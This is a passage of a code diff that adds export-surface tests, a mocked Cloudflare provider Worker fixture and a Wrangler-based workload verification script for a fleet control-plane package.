declaration export table differs/, + ); +}); + +test('rejects a referenced local data type missing from the curated exports', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'cloudflare-control-plane.d.ts', + 'export interface CloudflareControlPlaneOptions {', + 'interface HiddenPackedData { marker: string }\nexport interface CloudflareControlPlaneOptions { readonly hidden?: HiddenPackedData;', + ); + await assert.rejects( + consumer.verify(), + /missing public type export HiddenPackedData/, + ); +}); + +test('rejects a nominal provider client exposed through an adapter constructor', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'd1-fleet-state-database.d.ts', + 'constructor(binding: D1Database)', + "constructor(binding: D1Database, client?: import('./cloudflare-client.js').CloudflareProvisioningClient)", + ); + await assert.rejects( + consumer.verify(), + /forbidden public capability CloudflareProvisioningClient/, + ); +}); + +test('rejects a provider capability exposed through a callback result', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'cloudflare-control-plane.d.ts', + 'export interface CloudflareControlPlaneOptions {', + "export interface CloudflareControlPlaneOptions { readonly escaped?: () => import('./types.js').ProvisioningBackend;", + ); + await assert.rejects( + consumer.verify(), + /forbidden public capability ProvisioningBackend/, + ); +}); + +test('excludes private and protected fields from callable public closure', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'd1-fleet-state-database.d.ts', + '#private;', + "#private;\nprivate client: import('./cloudflare-client.js').CloudflareProvisioningClient;\nprotected backend: import('./types.js').ProvisioningBackend;", + ); + await consumer.verify(); +}); + +test('rejects a runtime export absent from the declaration table', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'cloudflare-control-plane.js', + 'export { ProvisioningError }', + 'export const unexpectedRuntimeCapability = () => {};\nexport { ProvisioningError }', + ); + await assert.rejects(consumer.verify(), /unexpectedRuntimeCapability/); +}); + +test('rejects a missing runtime export despite intact declarations', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'cloudflare-control-plane.js', + "export { ProvisioningError } from './provision.js';", + '', + ); + await assert.rejects(consumer.verify(), /ProvisioningError/); +}); + +test('rejects an extra callable capability on the factory return object', async (context) => { + const consumer = await fixture(context); + await consumer.replace( + 'cloudflare-control-plane.js', + 'return Object.freeze({', + 'return Object.freeze({ unexpectedFactoryCapability() {},', + ); + await assert.rejects(consumer.verify(), /unexpectedFactoryCapability/); +}); diff --git a/packages/fleet-control/scripts/control-plane-packed-worker.ts b/packages/fleet-control/scripts/control-plane-packed-worker.ts new file mode 100644 index 00000000..d8c975e9 --- /dev/null +++ b/packages/fleet-control/scripts/control-plane-packed-worker.ts @@ -0,0 +1,724 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { AsyncLocalStorage } from 'node:async_hooks'; +import type { + Crypto, + D1Database, + R2Bucket, + FixedLengthStream as WorkerFixedLengthStream, +} from '@cloudflare/workers-types'; +import { + type CloudflareDeploymentSpec, + createCloudflareControlPlane, + D1CloudflareApiRateCoordinator, + D1FleetStateDatabase, + ProvisioningError, + R2DatabaseExportStore, +} from '@proofoftech/fleet-control/cloudflare-control-plane'; + +declare const crypto: Crypto; +declare const FixedLengthStream: typeof WorkerFixedLengthStream; + +interface Env { + readonly FLEET_DB: D1Database; + readonly QUOTA_DB: D1Database; + readonly FIXTURE_DB: D1Database; + readonly TENANT_DB: D1Database; + readonly EXPORTS: R2Bucket; +} + +const DATABASE_ID = '11111111-1111-4111-8111-111111111111'; +const RECEIPT_ID = '22222222-2222-4222-8222-222222222222'; +const MIGRATION = 'CREATE TABLE packed_injected_failure (id TEXT PRIMARY KEY)'; +const SECRETS = { + deploymentIdentity: 'packed-identity-secret-0000000000000001', + maintenanceAdmin: 'packed-maintenance-secret-000000000001', + application: {}, +}; + +function spec(tenantTag = 'packedlife'): CloudflareDeploymentSpec { + return { + tenantTag, + environment: 'production', + scriptName: tenantTag, + databaseName: tenantTag, + compatibilityDate: '2026-08-06', + compatibilityFlags: [], + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + authoredBy: 'platform', + schemaVersion: 1, + migrations: [{ version: 1, sql: MIGRATION }], + durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['Maintenance'] }], + durableObjectBindings: [{ name: 'MAINTENANCE', className: 'Maintenance' }], + maintenanceBaseUrl: `https://control-${tenantTag}.example.test`, + routeHostname: `${tenantTag}.example.test`, + application: { vars: [], secrets: [], r2Buckets: [] }, + }; +} + +function errorInfo(error: unknown): unknown { + if (!(error instanceof Error)) return { message: String(error) }; + return { + name: error.name, + message: error.message, + ...(error.cause === undefined ? {} : { cause: errorInfo(error.cause) }), + ...(error instanceof AggregateError + ? { errors: error.errors.map(errorInfo) } + : {}), + }; +} + +function deferred() { + let resolve!: (value: T) => void; + const promise = new Promise((next) => { + resolve = next; + }); + return { promise, resolve }; +} + +async function within(operation: Promise, message: string): Promise { + let timer: ReturnType | undefined; + try { + return await Promise.race([ + operation, + new Promise((_, reject) => { + timer = setTimeout(() => reject(new Error(message)), 10_000); + }), + ]); + } finally { + if (timer !== undefined) clearTimeout(timer); + } +} + +function enterGate( + entered: Promise, + operation: Promise, +): Promise { + return within( + Promise.race([ + entered, + operation.then((cause) => { + throw new Error('operation completed before provider gate', { cause }); + }), + ]), + 'provider gate timed out', + ); +} + +async function waitFor(check: () => Promise): Promise { + const deadline = Date.now() + 5_000; + while (!(await check())) { + if (Date.now() >= deadline) + throw new Error('packed probe barrier timed out'); + await new Promise((resolve) => setTimeout(resolve, 0)); + } +} + +function single(result: unknown): Response { + return Response.json({ success: true, errors: [], messages: [], result }); +} + +function page(result: readonly unknown[]): Response { + return Response.json({ + success: true, + errors: [], + messages: [], + result, + result_info: { + page: 1, + per_page: 100, + count: result.length, + total_count: result.length, + total_pages: 1, + }, + }); +} + +function failure(message: string, status = 400): Response { + return Response.json( + { success: false, errors: [{ code: 1, message }], result: null }, + { status }, + ); +} + +function exportOptions(env: Env) { + return { + bucket: env.EXPORTS, + bucketName: 'packed-exports', + keyPrefix: 'proof/', + streams: { DigestStream: crypto.DigestStream, FixedLengthStream }, + randomUUID: () => crypto.randomUUID(), + }; +} + +function plane(env: Env, providerFetch: typeof fetch) { + return createCloudflareControlPlane({ + accountId: 'account', + apiToken: 'packed-inert-provider-token', + fleetDatabase: env.FLEET_DB, + quotaDatabase: env.QUOTA_DB, + quotaScope: 'packed-factory-provider', + databaseExports: exportOptions(env), + fetch: providerFetch, + maintenanceFetch: async () => { + throw new Error('packed failure scenario cannot invoke maintenance'); + }, + concurrency: 1, + requestTimeoutMs: 10_000, + leaseTtlMs: 120_000, + leaseRenewalIntervalMs: 60_000, + }); +} + +interface ProviderRequest { + readonly method: string; + readonly url: URL; + readonly body: Record; +} + +async function provider(env: Env, invocationId: string) { + await env.FIXTURE_DB.batch([ + env.FIXTURE_DB.prepare( + 'CREATE TABLE IF NOT EXISTS packed_provider_databases (id TEXT PRIMARY KEY, name TEXT UNIQUE NOT NULL)', + ), + env.FIXTURE_DB.prepare( + 'CREATE TABLE IF NOT EXISTS packed_provider_requests (ordinal INTEGER PRIMARY KEY AUTOINCREMENT, invocation_id TEXT NOT NULL, method TEXT NOT NULL, url TEXT NOT NULL)', + ), + ]); + let requests = 0; + async function respond({ + method, + url, + body, + }: ProviderRequest): Promise { + if (url.origin !== 'https://api.cloudflare.com') { + throw new Error(`unexpected inert-provider origin ${url.origin}`); + } + requests += 1; + await env.FIXTURE_DB.prepare( + 'INSERT INTO packed_provider_requests (invocation_id, method, url) VALUES (?, ?, ?)', + ) + .bind(invocationId, method, url.href) + .run(); + const path = url.pathname; + if (method === 'GET' && path === '/client/v4/user/tokens/verify') { + return single({ id: 'token-id', status: 'active' }); + } + if ( + method === 'GET' && + path === '/client/v4/accounts/account/tokens/token-id' + ) { + return single({ + id: 'token-id', + status: 'active', + policies: [ + { + id: 'packed-zone-authority', + effect: 'allow', + permission_groups: [ + { id: 'zone-read', name: 'Zone Read' }, + { id: 'routes-read', name: 'Workers Routes Read' }, + { id: 'routes-write', name: 'Workers Routes Write' }, + ], + resources: { + 'com.cloudflare.api.account.account': { + 'com.cloudflare.api.account.zone.*': '*', + }, + }, + }, + ], + }); + } + if (method === 'GET' && path === '/client/v4/zones') return page([]); + const account = '/client/v4/accounts/account'; + if (path === `${account}/d1/database`) { + if (method === 'GET') { + if (url.searchParams.has('page')) return page([]); + const name = url.searchParams.get('name'); + const rows = await env.FIXTURE_DB.prepare( + 'SELECT id AS uuid, name FROM packed_provider_databases WHERE (? IS NULL OR name = ?)', + ) + .bind(name, name) + .all(); + return page(rows.results); + } + if (method === 'POST' && body.name === 'packedlife') { + await env.FIXTURE_DB.prepare( + 'INSERT INTO packed_provider_databases (id, name) VALUES (?, ?)', + ) + .bind(DATABASE_ID, body.name) + .run(); + return single({ uuid: DATABASE_ID, name: body.name }); + } + } + if (path === `${account}/d1/database/${DATABASE_ID}`) { + const row = await env.FIXTURE_DB.prepare( + 'SELECT id AS uuid, name FROM packed_provider_databases WHERE id = ?', + ) + .bind(DATABASE_ID) + .first(); + if (!row) return failure('logical database absent', 404); + if (method === 'GET') return single(row); + if (method === 'DELETE') { + await env.FIXTURE_DB.prepare( + 'DELETE FROM packed_provider_databases WHERE id = ?', + ) + .bind(DATABASE_ID) + .run(); + return single({}); + } + } + if ( + method === 'POST' && + path === `${account}/d1/database/${DATABASE_ID}/query` + ) { + const statements = Array.isArray(body.batch) ? body.batch : [body]; + if (statements.some((statement) => statement.sql === MIGRATION)) { + return failure('packed migration failure after identity seed'); + } + const prepared = statements.map((statement) => { + if (typeof statement.sql !== 'string') + throw new Error('missing provider SQL'); + const values = Array.isArray(statement.params) ? statement.params : []; + return env.TENANT_DB.prepare(statement.sql).bind(...values); + }); + return page(await env.TENANT_DB.batch(prepared)); + } + if ( + method === 'GET' && + [ + `${account}/workers/scripts`, + `${account}/workers/domains`, + `${account}/workers/durable_objects/namespaces`, + `${account}/workers/dispatch/namespaces`, + ].includes(path) + ) + return page([]); + if ( + method === 'GET' && + /^\/client\/v4\/accounts\/account\/workers\/scripts\/packedlife(?:\/(?:deployments|versions|settings|subdomain|secrets))?$/.test( + path, + ) + ) { + return failure('logical Worker absent', 404); + } + throw new Error(`unexpected inert-provider request ${method} ${url.href}`); + } + return { respond, count: () => requests }; +} + +function transport( + respond: (request: ProviderRequest) => Promise, +): typeof fetch { + return async (input, init) => { + const url = new URL( + typeof input === 'string' + ? input + : input instanceof URL + ? input.href + : input.url, + ); + const method = ( + init?.method ?? (input instanceof Request ? input.method : 'GET') + ).toUpperCase(); + const raw = init?.body; + const body = typeof raw === 'string' ? JSON.parse(raw) : {}; + return respond({ method, url, body }); + }; +} + +async function provisionFailure( + control: ReturnType, + tenant = 'packedlife', +) { + try { + await control.provisionDeployment({ + spec: spec(tenant), + secrets: SECRETS, + initialExecutionFenceState: 'open', + }); + } catch (error) { + return error; + } + throw new Error('injected provisioning failure unexpectedly succeeded'); +} + +async function leaseWinner(env: Env, invocationId: string) { + const inert = await provider(env, invocationId); + const held = deferred(); + const release = deferred(); + let firstRead = true; + const selectedFetch = transport(async (request) => { + if (firstRead) { + firstRead = false; + held.resolve(); + await release.promise; + } + return inert.respond(request); + }); + const first = plane(env, selectedFetch); + const second = plane(env, selectedFetch); + const winner = provisionFailure(first); + let contender: unknown; + let beforeRelease: number; + try { + await enterGate(held.promise, winner); + contender = await within( + provisionFailure(second), + 'contender did not release', + ); + beforeRelease = inert.count(); + } finally { + release.resolve(); + } + const result = await within(winner, 'winner did not finish'); + if ( + !(result instanceof ProvisioningError) || + result.cleanup?.status !== 'pending' + ) { + throw new Error('provisioning did not admit bounded cleanup', { + cause: result, + }); + } + return { + contender: errorInfo(contender), + beforeRelease, + cleanup: result.cleanup, + record: await first.getDeployment('packedlife', 'production'), + requests: inert.count(), + }; +} + +async function queuedAuthority(env: Env, stale: boolean) { + const contexts = new AsyncLocalStorage(); + const b = `packed${stale ? 'stale' : 'live'}b`; + const a = `packed${stale ? 'stale' : 'live'}a`; + const bHeld = deferred(); + const releaseB = deferred(); + const aHeld = deferred(); + const releaseA = deferred(); + const seen: Array<{ + method: string; + name: string | null; + context: string | undefined; + }> = []; + let heldB = false; + const control = plane( + env, + transport(async ({ method, url, body }) => { + if ( + url.origin !== 'https://api.cloudflare.com' || + url.pathname !== '/client/v4/accounts/account/d1/database' + ) { + throw new Error(`unexpected queue-probe URL ${url.href}`); + } + const name = + method === 'GET' ? url.searchParams.get('name') : String(body.name); + seen.push({ method, name, context: contexts.getStore() }); + if (method === 'GET' && name === b) { + if (!heldB) { + heldB = true; + bHeld.resolve(); + await releaseB.promise; + } + return page([]); + } + if (method === 'GET' && name === a) { + aHeld.resolve(); + await releaseA.promise; + return failure('packed A held-read failure', 403); + } + if (method === 'POST' && name === b) + return failure('packed B create reached transport'); + throw new Error(`unexpected queue-probe request ${method} ${name}`); + }), + ); + await control.getDeployment(b, 'production'); + await env.FLEET_DB.batch([ + env.FLEET_DB.prepare( + 'CREATE TABLE IF NOT EXISTS packed_lease_renewals (tenant_tag TEXT NOT NULL)', + ), + env.FLEET_DB.prepare( + 'CREATE TRIGGER IF NOT EXISTS packed_observe_lease_renewal AFTER UPDATE OF expires_at ON anchorage_fleet_leases BEGIN INSERT INTO packed_lease_renewals (tenant_tag) VALUES (NEW.tenant_tag); END', + ), + ]); + const second = contexts.run('B', () => provisionFailure(control, b)); + try { + await enterGate(bHeld.promise, second); + const first = contexts.run('A', () => provisionFailure(control, a)); + releaseB.resolve(); + await enterGate(aHeld.promise, first); + await waitFor(async () => { + const row = await env.FLEET_DB.prepare( + 'SELECT COUNT(*) AS count FROM packed_lease_renewals WHERE tenant_tag = ?', + ) + .bind(b) + .first<{ count: number }>(); + return Number(row?.count) >= 2; + }); + await new Promise((resolve) => setTimeout(resolve, 0)); + const queued = await control.getDeployment(b, 'production'); + const beforeRelease = seen.filter( + (request) => request.method === 'POST' && request.name === b, + ).length; + if (stale) { + await env.FLEET_DB.prepare( + "UPDATE anchorage_fleet_leases SET owner_token = 'packed-takeover' WHERE tenant_tag = ? AND environment = 'production'", + ) + .bind(b) + .run(); + } + releaseA.resolve(); + const [aError, bError] = await Promise.all([first, second]); + return { + queuedPhase: queued?.phase, + beforeRelease, + seen, + aError: errorInfo(aError), + bError: errorInfo(bError), + record: await control.getDeployment(b, 'production'), + }; + } finally { + releaseB.resolve(); + releaseA.resolve(); + } +} + +async function quota(env: Env) { + const quotaScope = 'packed-independent-quota'; + let observedBatches = 0; + const observed = new Proxy(env.QUOTA_DB, { + get(database, property) { + if (property === 'batch') { + return async (statements: Parameters[0]) => { + const result = await database.batch(statements); + observedBatches += 1; + return result; + }; + } + const value = Reflect.get(database, property, database); + return typeof value === 'function' ? value.bind(database) : value; + }, + }); + const first = new D1CloudflareApiRateCoordinator(env.QUOTA_DB, { + quotaScope, + }); + const second = new D1CloudflareApiRateCoordinator(observed, { quotaScope }); + await Promise.all([first.acquire(), second.acquire()]); + await env.QUOTA_DB.prepare( + 'DELETE FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ?', + ) + .bind(quotaScope) + .run(); + await env.QUOTA_DB.prepare( + "WITH RECURSIVE sequence(value) AS (SELECT 1 UNION ALL SELECT value + 1 FROM sequence WHERE value < 1099) INSERT INTO anchorage_cloudflare_api_rate_reservations (quota_scope, reservation_id, reserved_at) SELECT ?, 'seed-' || value, CAST(unixepoch('subsec') * 1000 AS INTEGER) FROM sequence", + ) + .bind(quotaScope) + .run(); + await first.acquire(); + const baseline = observedBatches; + const abort = new AbortController(); + let acquired = false; + const blocked = second.acquire(abort.signal).then(() => { + acquired = true; + return null; + }, errorInfo); + await waitFor(async () => observedBatches > baseline); + abort.abort(); + const error = await blocked; + const count = await env.QUOTA_DB.prepare( + 'SELECT COUNT(*) AS count FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ?', + ) + .bind(quotaScope) + .first<{ count: number }>(); + await env.QUOTA_DB.prepare( + "DELETE FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ? AND reservation_id = 'seed-1'", + ) + .bind(quotaScope) + .run(); + await new D1CloudflareApiRateCoordinator(env.QUOTA_DB, { + quotaScope, + }).acquire(); + const after = await env.QUOTA_DB.prepare( + 'SELECT COUNT(*) AS count FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ?', + ) + .bind(quotaScope) + .first<{ count: number }>(); + return { + acquired, + error, + count: Number(count?.count), + countAfterFreshInstance: Number(after?.count), + completedBlockedBatches: observedBatches - baseline, + }; +} + +function bytes(seed = 17) { + return Uint8Array.from( + { length: 1_048_576 }, + (_, index) => (index * 31 + seed) % 256, + ); +} + +function body(value: Uint8Array) { + return new ReadableStream({ + start(controller) { + controller.enqueue(value); + controller.close(); + }, + }); +} + +function hex(digest: ArrayBuffer) { + return Array.from(new Uint8Array(digest), (byte) => + byte.toString(16).padStart(2, '0'), + ).join(''); +} + +async function integrity(value: Uint8Array) { + return { + size: value.byteLength, + sha256: hex(await crypto.subtle.digest('SHA-256', value)), + }; +} + +async function r2(env: Env, action: string) { + const store = new R2DatabaseExportStore(exportOptions(env)); + const source = bytes(action === 'receipt-mismatch' ? 29 : 17); + const expected = await integrity(source); + const identity = { + version: 1 as const, + authority: store.receiptAuthority, + databaseId: DATABASE_ID, + operationId: RECEIPT_ID, + }; + let result: Awaited> | undefined; + let error: unknown; + try { + result = + action === 'r2-write' + ? await store.write({ + databaseId: DATABASE_ID, + fileName: 'export.sql', + body: body(source), + contentLength: source.length, + }) + : await store.writeReceipt({ + identity, + body: body(source), + contentLength: source.length, + expectedIntegrity: Promise.resolve(expected), + }); + } catch (reason) { + error = errorInfo(reason); + } + const key = + action === 'r2-write' && result + ? result.location.slice('r2://packed-exports/'.length) + : `proof/receipts/v1/${DATABASE_ID}/${RECEIPT_ID}.sql`; + const object = await env.EXPORTS.get(key); + if (!object) throw new Error('packed R2 object absent', { cause: error }); + const stored = await object.bytes(); + const original = bytes(); + const readback = await integrity(stored); + const listing = await env.EXPORTS.list({ + prefix: + action === 'r2-write' + ? `proof/${DATABASE_ID}/` + : `proof/receipts/v1/${DATABASE_ID}/`, + }); + return { + result, + error, + expected, + readback, + size: object.size, + bytesEqual: + stored.length === original.length && + stored.every((byte, index) => byte === original[index]), + objectCount: listing.objects.length, + metadata: object.customMetadata, + }; +} + +export default { + async fetch(request: Request, env: Env): Promise { + const input = (await request.json()) as { action: string; token?: unknown }; + const invocationId = crypto.randomUUID(); + try { + let result: unknown; + if (input.action === 'quota') result = await quota(env); + else if (input.action === 'queue-live' || input.action === 'queue-stale') + result = await queuedAuthority(env, input.action === 'queue-stale'); + else if (input.action === 'lease-winner') + result = await leaseWinner(env, invocationId); + else if ( + input.action === 'r2-write' || + input.action === 'receipt' || + input.action === 'receipt-mismatch' + ) + result = await r2(env, input.action); + else { + const inert = await provider(env, invocationId); + const control = plane(env, transport(inert.respond)); + if (input.action === 'schema') { + const db = new D1FleetStateDatabase(env.FLEET_DB); + await db.execute( + 'CREATE TABLE packed_adapter (id INTEGER PRIMARY KEY, value TEXT NOT NULL)', + ); + const batch = await db.batch([ + { + sql: 'INSERT INTO packed_adapter (value) VALUES (?) RETURNING value', + bindings: ['native-d1'], + }, + ]); + const records = await Promise.all([ + control.getDeployment('packedlife', 'production'), + plane(env, transport(inert.respond)).getDeployment( + 'packedlife', + 'production', + ), + ]); + result = { + batch, + rows: await db.query('SELECT value FROM packed_adapter'), + records, + requests: inert.count(), + }; + } else if (input.action === 'cleanup') { + let outcome: + | Awaited> + | undefined; + let error: unknown; + try { + outcome = await control.advanceCleanupDeployment({ + spec: spec(), + action: { kind: 'continue', token: input.token }, + maxProviderRequests: 9, + }); + } catch (reason) { + error = errorInfo(reason); + } + result = { + outcome, + error, + record: await control.getDeployment('packedlife', 'production'), + requests: inert.count(), + databases: ( + await env.FIXTURE_DB.prepare( + 'SELECT id FROM packed_provider_databases', + ).all() + ).results, + }; + } else throw new Error(`unexpected packed action ${input.action}`); + } + return Response.json({ invocationId, result }); + } catch (error) { + return Response.json( + { invocationId, error: errorInfo(error) }, + { status: 500 }, + ); + } + }, +}; diff --git a/packages/fleet-control/scripts/control-plane-packed-workload.mjs b/packages/fleet-control/scripts/control-plane-packed-workload.mjs new file mode 100644 index 00000000..ad217b48 --- /dev/null +++ b/packages/fleet-control/scripts/control-plane-packed-workload.mjs @@ -0,0 +1,372 @@ +// SPDX-License-Identifier: Apache-2.0 + +import assert from 'node:assert/strict'; +import { execFileSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { copyFile, realpath, writeFile } from 'node:fs/promises'; +import { createRequire } from 'node:module'; +import { isAbsolute, join, relative } from 'node:path'; +import { createTestHarness } from 'wrangler'; + +const FINDING = { + tenantTag: 'unknown', + environment: 'unknown', + kind: 'stale-route', + detail: 'packed workload observation', +}; + +function expectedDigest(count) { + const hash = createHash('sha256'); + for (let index = 0; index < count; index += 1) + hash.update( + `workload${index}\0workload-${index}\0database-${index}\0namespace-${index}\n`, + ); + return hash.digest('hex'); +} + +export async function verifyControlPlanePackedWorkload({ + consumerDirectory, + packageRoot, +}) { + const fixture = join(consumerDirectory, 'control-plane-packed-workload.ts'); + await copyFile( + join(packageRoot, 'scripts/control-plane-packed-workload.ts'), + fixture, + ); + const require = createRequire(join(consumerDirectory, 'package.json')); + const entry = await realpath( + require.resolve('@proofoftech/fleet-control/cloudflare-control-plane'), + ); + const relativeEntry = relative(await realpath(consumerDirectory), entry); + assert.ok( + !relativeEntry.startsWith('..') && !isAbsolute(relativeEntry), + 'workload entry must resolve inside the installed consumer', + ); + await writeFile( + join(consumerDirectory, 'tsconfig.worker-workload.json'), + JSON.stringify( + { + compilerOptions: { + target: 'ES2022', + lib: ['ES2022'], + module: 'NodeNext', + moduleResolution: 'NodeNext', + strict: true, + noEmit: true, + skipLibCheck: false, + types: ['@cloudflare/workers-types'], + }, + files: ['control-plane-packed-workload.ts'], + }, + null, + 2, + ), + ); + execFileSync( + join(packageRoot, 'node_modules/.bin/tsc'), + ['-p', 'tsconfig.worker-workload.json'], + { cwd: consumerDirectory, stdio: 'inherit' }, + ); + const server = createTestHarness({ + root: consumerDirectory, + workers: [ + { + config: { + name: 'fleet-control-packed-workload', + main: fixture, + compatibility_date: '2026-08-06', + d1_databases: ['FLEET_DB', 'QUOTA_DB'].map((binding, index) => ({ + binding, + database_name: `workload-${binding.toLowerCase()}`, + database_id: `00000000-0000-4000-8000-${String(index + 1).padStart(12, '0')}`, + })), + r2_buckets: [{ binding: 'EXPORTS', bucket_name: 'workload-exports' }], + }, + }, + ], + }); + const invocations = new Set(); + const evidence = { + entry: relativeEntry, + compatibilityDate: '2026-08-06', + compatibilityFlags: [], + concurrency: 1, + measurement: { + elapsed: + 'local end-to-end wall time; includes native D1 and response transport', + cpuMs: null, + peakIsolateBytes: null, + unavailableReason: + 'Wrangler TestHarness exposes runtime logs but no public isolate heap or CPU counter', + limits: + 'Local success does not establish enforcement of Cloudflare CPU, memory or query limits', + providerScope: + 'Materialization workload: current records exit audit before provider inspection; earlier large-profile ownership facts are seeded observations', + d1Rows: + 'Returned operation rows include native lookahead rows; metadata is reported as supplied by local D1', + d1Scope: + 'Counters cover the factory Fleet binding, excluding fixture setup/readback; binding calls and contained SQL statements are distinct. Production query-budget interpretation is unverified.', + }, + profiles: {}, + }; + try { + await server.listen(); + const worker = server.getWorker(); + async function probe(profile, action, extra = {}, acceptError = false) { + const started = performance.now(); + const response = await worker.fetch('/packed-workload', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ profile, action, ...extra }), + signal: AbortSignal.timeout(120000), + }); + const body = await response.json(); + const elapsedMs = performance.now() - started; + assert.equal(invocations.has(body.invocationId), false); + invocations.add(body.invocationId); + if (!acceptError) + assert.equal(response.status, 200, JSON.stringify(body)); + if (body.providerRequests !== undefined) + assert.equal(body.providerRequests, 0); + return { ...body, status: response.status, elapsedMs }; + } + async function seed(profile, count) { + let offset = 0; + let summary; + for (let calls = 0; calls < Math.ceil(count / 100); calls += 1) { + const response = await probe(profile, 'seed-generation', { offset }); + assert.ok(response.result.next > offset); + offset = response.result.next; + assert.equal(response.result.done, offset === count); + if (response.result.done) summary = response.result.summary; + } + assert.equal(offset, count); + assert.ok(summary); + assert.equal(summary.factCount, count * 4); + assert.ok(summary.payloads.payloadBytes > 0); + assert.ok(summary.payloads.maximumPayloadBytes <= 16 * 1024); + return summary; + } + async function read(profile, count, routes) { + const response = await probe(profile, 'read'); + assert.deepEqual(response.result, { + deployments: count, + databases: count, + namespaces: count, + routes, + findings: [FINDING], + identityDigest: expectedDigest(count), + }); + assert.equal(response.metrics.inventoryFacts, count * 4); + assert.equal(response.metrics.inventoryRows, count * 4 + routes + 1); + return response; + } + async function start(profile, extra = {}, acceptError = false) { + const response = await probe(profile, 'start', extra, acceptError); + if (response.status === 200) { + assert.equal(response.result.outcome.status, 'pending'); + assert.equal(response.result.pins, 1); + assert.equal( + response.result.run.progress.revision, + response.result.outcome.token.revision, + ); + } + return response; + } + async function abandon(profile, state = 'failed') { + const response = await probe(profile, 'abandon'); + assert.equal(response.result.pins, 0); + assert.equal(response.result.run.state, state); + return response; + } + const profile = 'representative'; + const seeded = await seed(profile, 32); + const bulk = await read(profile, 32, 0); + const begun = await start(profile); + let outcome = begun.result.outcome; + let calls = 0; + let maximumWallMs = 0; + while (outcome.status === 'pending' && calls < 80) { + const advanced = await probe(profile, 'continue', { + token: outcome.token, + }); + assert.equal( + advanced.result.run.progress.revision, + advanced.result.outcome.token.revision, + ); + assert.ok( + advanced.result.outcome.token.revision > outcome.token.revision, + ); + maximumWallMs = Math.max(maximumWallMs, advanced.elapsedMs); + outcome = advanced.result.outcome; + calls += 1; + } + assert.equal(outcome.status, 'complete'); + assert.equal(outcome.result.recordCount, 32); + assert.equal(outcome.result.findingCount, 1); + const findings = await probe(profile, 'findings'); + assert.deepEqual(findings.result.page.findings, [FINDING]); + assert.equal(findings.result.page.done, true); + assert.equal(findings.result.pins, 1); + const released = await abandon(profile, 'finalized'); + evidence.profiles[profile] = { + seed: seeded, + bulk, + start: begun, + continuationFetches: calls, + maximumWallMs, + result: outcome.result, + abandonment: released, + }; + + for (const [name, count] of [ + ['page-boundary', 1001], + ['record-ceiling', 10000], + ]) { + const measured = { + count, + checkpoint: + 'real start; prior findings/facts and late cursor seeded directly in native D1', + }; + evidence.profiles[name] = measured; + measured.seed = await seed(name, count); + measured.bulk = await read(name, count, count - 1); + measured.start = await start(name); + assert.equal(measured.start.result.intake.count, count); + let offset = 0; + let token; + for (let calls = 0; calls < Math.ceil((count - 1) / 100); calls += 1) { + const response = await probe(name, 'seed-facts', { offset }); + assert.ok(response.result.next > offset); + offset = response.result.next; + if (response.result.done) token = response.result.token; + } + assert.equal(offset, count - 1); + assert.ok(token); + const advanced = await probe(name, 'continue', { token }); + assert.equal(advanced.result.outcome.status, 'pending'); + assert.deepEqual(advanced.result.outcome.stage, { + step: 'per-record', + recordOrdinal: count, + }); + assert.deepEqual( + advanced.result.run.progress.stage, + advanced.result.outcome.stage, + ); + assert.equal(advanced.result.run.state, 'running'); + assert.equal(advanced.result.pins, 1); + assert.equal(advanced.result.outcome.token.revision, token.revision + 1); + assert.equal( + advanced.result.run.progress.revision, + advanced.result.outcome.token.revision, + ); + assert.equal(advanced.metrics.recordPages, Math.ceil(count / 1000)); + assert.equal( + advanced.metrics.recordRows, + count + Math.ceil(count / 1000) - 1, + ); + const facts = 2 * (count - 1); + assert.equal(advanced.metrics.factPages, Math.ceil(facts / 1000)); + assert.equal( + advanced.metrics.factRows, + facts + Math.ceil(facts / 1000) - 1, + ); + assert.equal(advanced.metrics.inventoryFacts, count * 4); + const stale = await probe(name, 'continue', { token }); + assert.deepEqual( + stale.result.outcome.token, + advanced.result.outcome.token, + ); + for (const field of [ + 'inventoryRows', + 'inventoryFacts', + 'recordPages', + 'factPages', + ]) + assert.equal(stale.metrics[field], 0); + measured.continuation = advanced; + measured.stale = stale; + measured.abandonment = await abandon(name); + measured.outcome = 'completed measured calls'; + } + + const corruptStart = await start('page-boundary', { variant: 2 }); + await probe('page-boundary', 'corrupt'); + const corruptRead = await probe('page-boundary', 'read', {}, true); + assert.equal(corruptRead.status, 500); + assert.match(corruptRead.error.message, /corrupt|manifest/); + const corruptAudit = await probe('page-boundary', 'continue', { + variant: 2, + token: corruptStart.result.outcome.token, + }); + assert.equal(corruptAudit.result.outcome.status, 'failed'); + assert.equal( + corruptAudit.result.outcome.failure.reason, + 'generation-unavailable', + ); + assert.equal(corruptAudit.result.pins, 0); + evidence.corruption = { bulk: corruptRead, audit: corruptAudit }; + + const bytesProfile = 'intake-byte-boundary'; + const byteSeed = await seed(bytesProfile, 200); + const byteBulk = await read(bytesProfile, 200, 0); + const over = await start(bytesProfile, { variant: 3, over: true }, true); + assert.equal(over.status, 500); + assert.match( + over.error.message, + /canonical intake exceeds the intake byte bound/, + ); + const refusedState = await probe(bytesProfile, 'state', { variant: 3 }); + assert.equal(refusedState.result.run, null); + assert.equal(refusedState.result.pins, 0); + const byteEvidence = { + seed: byteSeed, + bulk: byteBulk, + aboveBound: over, + refusedState, + }; + evidence.profiles[bytesProfile] = byteEvidence; + const exact = await start(bytesProfile); + byteEvidence.start = exact; + assert.equal(exact.result.intake.bytes, 16 * 1024 * 1024); + assert.ok(exact.result.intake.maximumItemBytes < 96 * 1024); + byteEvidence.continuation = await probe(bytesProfile, 'continue', { + token: exact.result.outcome.token, + }); + const byteContinuation = byteEvidence.continuation.result; + assert.equal(byteContinuation.outcome.status, 'pending'); + assert.deepEqual(byteContinuation.outcome.stage, { + step: 'registration-orphans', + rowOrdinal: 0, + }); + assert.deepEqual( + 